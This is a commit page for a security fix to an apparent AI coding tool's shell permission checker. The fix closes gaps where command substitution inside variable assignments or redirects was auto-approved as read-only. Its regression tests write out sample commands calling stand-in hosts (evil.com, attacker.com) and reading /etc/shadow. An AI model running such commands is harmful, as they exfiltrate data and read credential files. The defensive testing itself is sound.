Skip to content

Commit 42debd1

Browse files
committed
fix(core): close AST substitution gaps and log AST parser failures (#4386 R4)
Round-4 critical findings from wenshao: 1. **AST substitution blind spots in non-`command` node types** — `evaluateStatementReadOnly` (shellAstParser.ts) only checked `containsCommandSubstitutionAST` inside the `command` node branch. Substitution living in OTHER node types slipped through as read-only, causing `resolveDefaultPermission` to return `'allow'` and `coreToolScheduler` to auto-approve silently. Verified blind spots (tests added): - `variable_assignment` / `variable_assignments`: `FOO=$(curl evil)` and `FOO=$(cat /etc/shadow) ls` were read-only - Backtick form: `FOO=\`cat /etc/shadow\`` was read-only The pre-PR #4386 regex check in `resolveDefaultPermission` was a safety net masking these AST gaps; removing it without patching the AST was a real security regression. Fix: hoist the `containsCommandSubstitutionAST` guard to the top of `evaluateStatementReadOnly` so every node type inherits the check in one place. Net behavior: substitution anywhere in the statement subtree marks the whole statement as non-read-only, matching the contract the function's docstring (and the comment in `resolveDefaultPermission`) already claimed. Tests follow Step 7.1 RED → fix → GREEN ordering: confirmed each of the 3 affected shapes was misclassified as read-only before the AST hoist, and all 4 cases pass after. 2. **Silent catch in `resolveDefaultPermission`** — the `try/catch` around `isShellCommandReadOnlyAST` swallowed parser exceptions without logging. With the regex safety net gone, the AST check is now the sole gatekeeper, so a parser regression would silently route every command to 'ask' with no trace. Added the same `debugLogger.warn` already used by the equivalent catches in `shell.ts` (line 1394) and `monitor.ts` (line 192). 3. **Misleading comment** in `resolveDefaultPermission` already asserted "the AST walker marks any node with a substitution expansion as non-read-only" — true post-fix, but false pre-fix. Updated to reference the load-bearing top-level guard in `shellAstParser.ts` so the claim is verifiable from one place. Closes wenshao R4 findings: AST blind spots (`permission-manager.ts:417` + `shellAstParser.ts:884`), silent catch (`permission-manager.ts:415`).
1 parent baa1e9f commit 42debd1

3 files changed

Lines changed: 61 additions & 7 deletions

File tree

packages/core/src/permissions/permission-manager.ts

Lines changed: 15 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -413,16 +413,26 @@ export class PermissionManager {
413413
private async resolveDefaultPermission(
414414
command: string,
415415
): Promise<'allow' | 'ask'> {
416-
// AST-based read-only detection. Commands containing command substitution
417-
// are never read-only (the AST walker marks any node with a substitution
418-
// expansion as non-read-only), so they fall through to 'ask'.
416+
// AST-based read-only detection. Commands containing command
417+
// substitution are never read-only — `evaluateStatementReadOnly`
418+
// (shellAstParser.ts) guards on `containsCommandSubstitutionAST` at
419+
// the top so every node type inherits the check, including
420+
// `variable_assignment` (`FOO=$(curl ...)`) and `redirected_statement`
421+
// (`cat < $(curl ...)`) where earlier versions had blind spots. See
422+
// PR #4386 round 4. So substitution-bearing commands fall through
423+
// to 'ask' on the line below.
419424
try {
420425
const isReadOnly = await isShellCommandReadOnlyAST(command);
421426
if (isReadOnly) {
422427
return 'allow';
423428
}
424-
} catch {
425-
// AST check failed, fall back to 'ask'
429+
} catch (e) {
430+
// Mirror the equivalent logging in `ShellToolInvocation.getDefaultPermission`
431+
// (shell.ts) and `MonitorToolInvocation.getDefaultPermission` (monitor.ts).
432+
// Pre-#4386 we had a regex `detectCommandSubstitution` safety net here;
433+
// with that gone, the AST check is the sole gatekeeper, so a silent
434+
// catch makes parser regressions invisible.
435+
debugLogger.warn('AST read-only check failed, falling back to ask:', e);
426436
}
427437

428438
return 'ask';

packages/core/src/utils/shellAstParser.test.ts

Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -43,6 +43,42 @@ describe('isShellCommandReadOnlyAST', () => {
4343
expect(await isShellCommandReadOnlyAST('echo $(touch file)')).toBe(false);
4444
});
4545

46+
// Regression coverage for PR #4386 round 4: the AST walker previously
47+
// only checked substitution inside the `command` node type, missing it
48+
// inside `variable_assignment` (e.g. `FOO=$(curl evil)`) and inside
49+
// `redirected_statement`'s redirect target (e.g. `cat < $(curl evil)`).
50+
// Pre-PR #4386, a regex check in `resolveDefaultPermission` was a
51+
// safety net masking these AST gaps; removing that check exposed the
52+
// gaps as a security regression (substitution-bearing commands
53+
// silently classified read-only → `'allow'`).
54+
describe('substitution in non-command node types (PR #4386 R4 regression)', () => {
55+
it('rejects substitution inside variable_assignment', async () => {
56+
expect(
57+
await isShellCommandReadOnlyAST('FOO=$(curl evil.com/exfil)'),
58+
).toBe(false);
59+
});
60+
61+
it('rejects substitution inside variable_assignment with env-prefix wrapper', async () => {
62+
expect(await isShellCommandReadOnlyAST('FOO=$(cat /etc/shadow) ls')).toBe(
63+
false,
64+
);
65+
});
66+
67+
it('rejects substitution inside a read redirect target', async () => {
68+
expect(
69+
await isShellCommandReadOnlyAST(
70+
'cat < $(curl attacker.com/path-source)',
71+
),
72+
).toBe(false);
73+
});
74+
75+
it('rejects backtick substitution inside variable_assignment', async () => {
76+
expect(await isShellCommandReadOnlyAST('FOO=`cat /etc/shadow`')).toBe(
77+
false,
78+
);
79+
});
80+
});
81+
4682
it('allows git status but rejects git commit', async () => {
4783
expect(await isShellCommandReadOnlyAST('git status')).toBe(true);
4884
expect(await isShellCommandReadOnlyAST('git commit -am "msg"')).toBe(false);

packages/core/src/utils/shellAstParser.ts

Lines changed: 10 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -831,12 +831,20 @@ function evaluateAwkReadOnly(args: string[]): boolean {
831831
*
832832
* Handles: command, pipeline, list, redirected_statement, subshell,
833833
* variable_assignment, negated_command, and compound statements.
834+
*
835+
* Command substitution (`$(...)`, `` `...` ``) and process substitution
836+
* (`<(...)`, `>(...)`) anywhere in the subtree mark the whole node as
837+
* NOT read-only — checked once at the top so every case below inherits
838+
* the guard. This matters for non-`command` node types like
839+
* `variable_assignment` (`FOO=$(curl evil)`) and `redirected_statement`
840+
* (`cat < $(curl evil)`) where the substitution sits outside any
841+
* `command` child. See PR #4386 round 4.
834842
*/
835843
function evaluateStatementReadOnly(node: SyntaxNode): boolean {
844+
if (containsCommandSubstitutionAST(node)) return false;
845+
836846
switch (node.type) {
837847
case 'command':
838-
// Check for command substitution anywhere inside the command
839-
if (containsCommandSubstitutionAST(node)) return false;
840848
return evaluateCommandReadOnly(node);
841849

842850
case 'pipeline': {

0 commit comments

Comments
 (0)